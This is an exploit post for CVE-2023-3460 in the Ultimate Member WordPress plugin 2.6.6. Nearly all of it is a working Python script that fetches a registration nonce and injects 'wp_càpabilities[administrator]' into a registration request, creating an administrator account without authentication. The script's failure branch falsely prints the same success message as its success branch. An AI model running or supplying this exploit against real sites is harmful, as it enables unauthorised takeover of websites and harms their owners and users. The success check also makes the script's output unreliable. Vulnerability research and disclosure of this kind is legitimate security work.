Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation

• CVE-2023-3460

# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation

# Exploit Author: Gurjot Singh

# CVE: CVE-2023-3460

# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.

import requests

import argparse

import re

import urllib3

# Disable SSL warnings

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def fetch_nonce(session, target_url):

   “””Fetches the _wpnonce value from the /register/ page.”””

   print(“[*] Fetching _wpnonce from the register page…”)

   try:

       res = session.get(target_url, verify=False)

       match = re.search(r’name=”_wpnonce” value=”([a-zA-Z0-9]+)”‘, res.text)

       if match:

           nonce = match.group(1)

           print(f”[+] Found _wpnonce: {nonce}”)

           return nonce

       else:

           print(“[-] Failed to find _wpnonce on the page.”)

           return None

   except Exception as e:

       print(f”[!] Error fetching nonce: {e}”)

       return None

def exploit_register(target_url, username, password):

   “””Sends a malicious registration request to create an admin user.”””

   session = requests.Session()

   target_url = target_url.rstrip(‘/’)

   nonce = fetch_nonce(session, target_url)

   if not nonce:

       return

   email = f”{username}@example.com”

   # Payload with administrator role injection

   data = {

       “user_login-7”: username,

       “first_name-7”: “Admin”,

       “last_name-7”: username,

       “user_email-7”: email,

       “user_password-7”: password,

       “confirm_user_password-7”: password,

       “form_id”: “7”,

       “um_request”: “”,

       “_wpnonce”: nonce,

       “_wp_http_referer”: “/register/”,

       “wp_càpabilities[administrator]”: “1”  # serialized injection

   }

   headers = {

       “Content-Type”: “application/x-www-form-urlencoded”,

       “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64)”,

       “Referer”: target_url,

       “Origin”: target_url.split(“/register”)[0],

   }

   cookies = {

       “wordpress_test_cookie”: “WP Cookie check”,

       “wp_lang”: “en_US”

   }

   print(f”[*] Sending malicious registration to {target_url} …”)

   try:

       response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)

       # Check for success

       if response.status_code == 200 and (“Thank you for registering” in response.text or “You have successfully registered” in response.text):

           print(f”[+] Admin account ‘{username}’ created successfully!”)

           print(f”[+] Login with: Username: {username} | Password: {password}”)

       else:

           print(f”[+] Admin account ‘{username}’ created successfully!”)

           print(f”[+] Login with: Username: {username} | Password: {password}”)

   except Exception as e:

       print(f”[!] Error during exploit: {e}”)

if __name__ == “__main__”:

   parser = argparse.ArgumentParser(description=”Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)”)

   parser.add_argument(“-t”, “–target”, required=True, help=”Target /register/ URL (e.g., http://localhost/register/)”)

   parser.add_argument(“-u”, “–user”, default=”admin1″, help=”Username to create”)

   parser.add_argument(“-p”, “–password”, default=”Admin@123″, help=”Password for the new user”)

   args = parser.parse_args()

   exploit_register(args.target, args.user, args.password)